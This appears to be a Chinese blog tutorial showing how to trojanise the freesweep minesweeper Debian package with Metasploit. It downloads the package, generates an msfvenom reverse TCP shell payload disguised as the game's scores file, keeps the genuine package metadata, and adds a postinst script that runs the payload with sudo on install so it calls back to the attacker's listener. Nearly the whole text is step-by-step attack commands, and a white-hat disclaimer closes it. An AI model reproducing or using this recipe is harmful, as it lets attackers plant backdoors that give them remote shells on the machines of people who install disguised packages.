文章目录
前言
通过kali系统中的msf在软件包中植入后门制作deb恶意软件包对linux系统进行shell获取
提示:以下是本篇文章正文内容,下面案例可供参考
一、kali
示例:Kali Linux预装了许多渗透测试软件,包括nmap 、Wireshark 、John the Ripper,以及Aircrack-ng.用户可通过硬盘、live CD或live USB运行Kali Linux,并通过kali过一把黑客的瘾
二、操作步骤
1.下载一个正常的软件包
代码如下(示例):
apt --download-only install freesweap(或者其他软件名)
默认下载目录为/var/cache/apt/archives/
2.将软件包转移到root目录下
代码如下(示例):
mv /var/cache/apt/archives/freesweep_1.0.2-1_amd64.deb /root/
3.将安装包解压到root目录中解压为free(文件名)
dpkg -x freesweep_1.0.2-1_amd64.deb free
#这里可能遇到显示文件名不存在可以通过:
ls /var/cache/apt/archives中查看你的文件名进行复制粘贴(复制粘贴按键为crtl+shift+c/v)
4.制作后门放入free文件中
msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.124.3 LPORT=4444 -b'\x00' -i 10 -f elf -o /root/free/usr/games/freesweep_scores
#此处LHOST根据自己的kali的ip设置
#之后可以通过ls /root.free.usr/games查看是否由freesweep_scores来确定是否生成成功
5.创建DEBIAN附件并进入
mkdir free/DEBIAN && cd free/DEBIAN
6.创建软件包信息
tee /root/free/DEBIAN/control << 'EOF'
#<<'EOF'表示开始
Package: freesweep
Version: 1.0.2-1
Section: Games and Amusement
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game,where one tries to find all the mines without igniting any,based on hints given by the computer.Unlike most implementations of this game,Freesweep works in any visual text display -in Linux console,in an xterm,and in most text-based terminals currently in use
EOF
#第二个EOF表示结束
7.创建deb软件包安装脚本后门
tee /root/free/DEBIAN/postinst << 'EOF'
sudo chomd 755 /usr/games/freesweep_scores
sudo /usr/games/freesweep_scores &
EOF
8.给脚本执行权限
chmod +775 /root/free/DEBIAN/postinst
#通过ls -l !$验证是否权限给予成功
#若如下图一样出现绿色的文件则代表成功
9.构建新的deb安装包
dpkg-deb --build /root/free/
10.开启handler监听在linux安装该软件包
#开启handler监听可以参考上一篇博文
dpkg -i free.deb进行安装
#dpkg -r freesweap可以进行卸载
三.总结
总结:
以上就是制作恶意deb安装包进行linux的入侵,学习之后希望大家可以提升自己做一名白帽子
声明:本文仅传授知识,读者读后所作造成后果于本人无关